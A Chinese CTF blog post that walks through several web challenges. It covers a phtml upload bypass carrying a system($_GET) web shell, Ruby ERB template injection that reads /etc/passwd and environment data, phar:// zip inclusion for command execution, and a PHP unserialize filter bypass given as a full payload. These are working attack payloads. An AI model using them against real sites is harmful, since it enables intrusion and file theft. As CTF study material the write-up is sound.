Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

近期比赛的归纳总结

前言

最近比赛一波接一波,但是我又是忙着演出排练没时间打,好不容易抽出时间来比赛又被打的自闭又自闭,写个博客记录一下原来没注意过的小技巧和骚操作吧。

Easy_upload

说来惭愧,这是新生赛的一道题目,真的学到了这个技巧。
打开页面是一个普通的界面,上传png文件发现了一个过滤:

碰到这种过滤,我们可以使用phtml的文件来进行绕过,phtml文件可以把文件中存在html的标签进行处理再作为php文件执行,我们可以上传一个如下的phtml的文件:

1
2
3
<script language="php">
system($_GET['a']);
</script>

接着找到文件目录执行?a=cd ..;ls查看文件,读取flag.php就行了。

Crazy Train

这题目真的学到了很多东西。这是一道关于Ruby的SSTI注入的题目,里面的技巧会慢慢讲。
打开网站发现只是一个简单的留言系统,只有一个新建文章的功能:

点进去发现只有文章标题和文章内容可以编辑:

emmmmm,一开始我是想尝试xss的,但是发现我们好像并不能确定文章是否传过去了,也不能确认是否有admin查看我们的文章,所以只能尝试其他思路…..抓包看看有没有可疑参数:

发现了一个隐藏的参数,结合刚刚我们传文章过去无回显可以猜测一下是不是ssti注入,使用BuiltWith确定框架是Ruby,接着可以尝试一下如下攻击:

1
<%= 2 * 2 %>


接下来就简单多了,查了查Ruby的File类读文件调用方式,如下:

1
File.open('路径').read

尝试读取/etc/passwd:

接下来的问题就是不知道我们所读取flag的路径在哪里,经过查阅Ruby有关dir类发现了这样一个函数:

接下来就简单了,毕竟什么过滤也没有,操作如下:


Archivr

题目分析

emmmmm,睡了一觉起来发现题目已经关了,真的无语,下一次尽量熬夜复现完吧。
点开链接发现是一个可以上传文件的系统,但是只能上传小于5kb的文件,上传文件会得到一个key,通过这个key能下载我们这个文件,不过链接的参数有一个可利用漏洞,文件包含:

1
http://fun.ritsec.club:8004/index.php?page=upload

利用文件包含漏洞就能读取出所有的源码,初步审计一波,我把有价值的给挑出来分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_FILES['upload']['size'] > 5000) { //max 5KB
die("File too large!");
}
$filename = $_FILES['upload']['name'];


$upload_time = time();
$upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

$ext = "";
if (strpos($filename, '.') !== false) {
$f_ext = explode(".", $filename)[1];
if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false && stripos($f_ext, "pht") === false) {
$ext = "." . $f_ext;
} else {
$ext = ".dat";
}
} else {
$ext = ".dat";
}
$upload_path = $upload_dir . md5($upload_time) . $ext;
mkdir($upload_dir, 0770, true);

//Enforce maximum of 10 files
$dir = new DirLister($upload_dir);
if ($dir->getCount() >= 10) {
unlink($upload_dir . $dir->getOldestFile());
}

move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
$key = $upload_time . $ext;
}

这里给了上传文件的储存目录生成方式,以及两个黑名单,通过检查php?或者pht?来过滤文件的后缀名。目录通过获取我们的ip地址以及当前的时间戳来生成最终地址。

phar协议

题目过滤了php,php5,phtml等等,通过用一些后缀名来绕过貌似行不通,这里用到了一种协议-phar协议。
phar协议适用于php>5.3.0版本,官方文档如下:

简单来说,就是一个打包解包的过程,在我们传输压缩文件的时候,服务器会对压缩包进行解压然后执行文件内容,也就是说我们可以利用phar协议去解析我们上传的压缩包,例如:
我们新建一个php文件如下:

1
<?php echo system($_GET["a"]); ?>

将它压缩为zip文件,然后上传使用phar协议去读取../../xxx.zip/xxx.php就能执行任意命令了。

反向代理

一般来说,我们通过外网的服务器去请求内网数据的时候,外网的代理服务器就像一个跳板一样,让我们通过它去访问内网的服务器,正向代理的服务器作用也仅仅是作为跳板,但是反向代理不一样,我们访问反向代理服务器,代理服务器会通过自己的ip去访问内网服务器,然后将接受的信息返回给我们,反向代理服务器对外表现就像是一个内网服务器一样。具体分析可以参考:
https://www.cnblogs.com/Anker/p/6056540.html

解题方法

既然我们可以通过phar协议去执行命令,那么现在问题就是如何找到目录,我们在源码中看到了服务器会将我们的ip进行md5然后加上当前时间戳的md5加后缀名来生成路径,但是在我加密了我的ip,去访问路径的时候发现返回了404,这就很奇怪,按理来说应该没问题,但是目录不存在是怎么回事?
这就是反向代理的原因了,我们访问的服务器是一个代理服务器,而我们所要的资源则是在内网服务器上,所以代理服务器在访问内网资源时,所用的ip就是它本身ip,并不是我们自身的ip,那问题又来了,我们如何得到服务器ip呢?
一个大师傅想到了所有的题目都是部署在一个服务器上,那么可以通过其他的题目来获取ip地址啊,例如上一题的Ruby SSTI注入,我们可以获取所有环境变量的信息:


通过request类来读取服务器ip:

1
@_request.instance_variable_get(:env)


上传zip文件,接着访问:

1
http://fun.ritsec.club:8004/uploads/98d3cbed97b0bc491c000455c9f8e6fb/md5(time()).zip/1.php?a=ls

读flag文件就行了。

php_is_funny_chal8

最近刷题接触到了几道反序列化问题,发现有道题目还是挺好的,补充了一个新的知识点。
题目点开扫目录,发现了一个index.php.bak,审计一波代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php 
ini_set("open_basedir",dirname(__FILE__));
#GOAL: file_get_content('sbztz.php') : )

class just4fun {
public $filename;

function __toString() {
return @file_get_contents($this->filename);
}
}

$data = stripslashes($_GET['data']);
if (!$data) {
die("hello from y");
}

$token = $data[0];
$pass = true;

switch ( $token ) {
case 'a' :
case 'O' :
case 'b' :
case 'i' :
case 'd' :
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
break;

default:
$pass = false;

}

if (!$pass) {
die("TKS L.N.");
}

echo unserialize($data);
?>
<!-- ./challenge8.php.bak -->

题目要求就是让我们把sbztz.php给包含出,源码给出了一个类,类里面有一个__toString()函数,只要我们通过序列化触发类里面的函数就行了,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class just4fun {
public $filename;

function __toString() {
return @file_get_contents($this->filename);
}
}
$a = new just4fun("a");
$a->filename = "sbztz.php";
echo serialize($a);
?>

但是源码有一个过滤需要绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$token = $data[0];
$pass = true;

switch ( $token ) {
case 'a' :
case 'O' :
case 'b' :
case 'i' :
case 'd' :
$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
break;

default:
$pass = false;

}

if (!$pass) {
die("TKS L.N.");
}

emmm,也就是说我们输入的data不能是例如开头为O:123:这种类型的,这里提供了一种比较特殊的绕过方式,分析可以看这篇文章:http://www.phpbug.cn/archives/32.html。
里面提到了在我们生成:

1
O:+8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}

这个payload,在Object后加个+依旧可以正常的反序列化,所以最终payload为

1
O:+8:"just4fun":1:{s:8:"filename";s:9:"sbztz.php";}

PS:直接传参还不行,必须对符号都进行url编码才能得到flag,具体原因不太清楚.

本站总访问量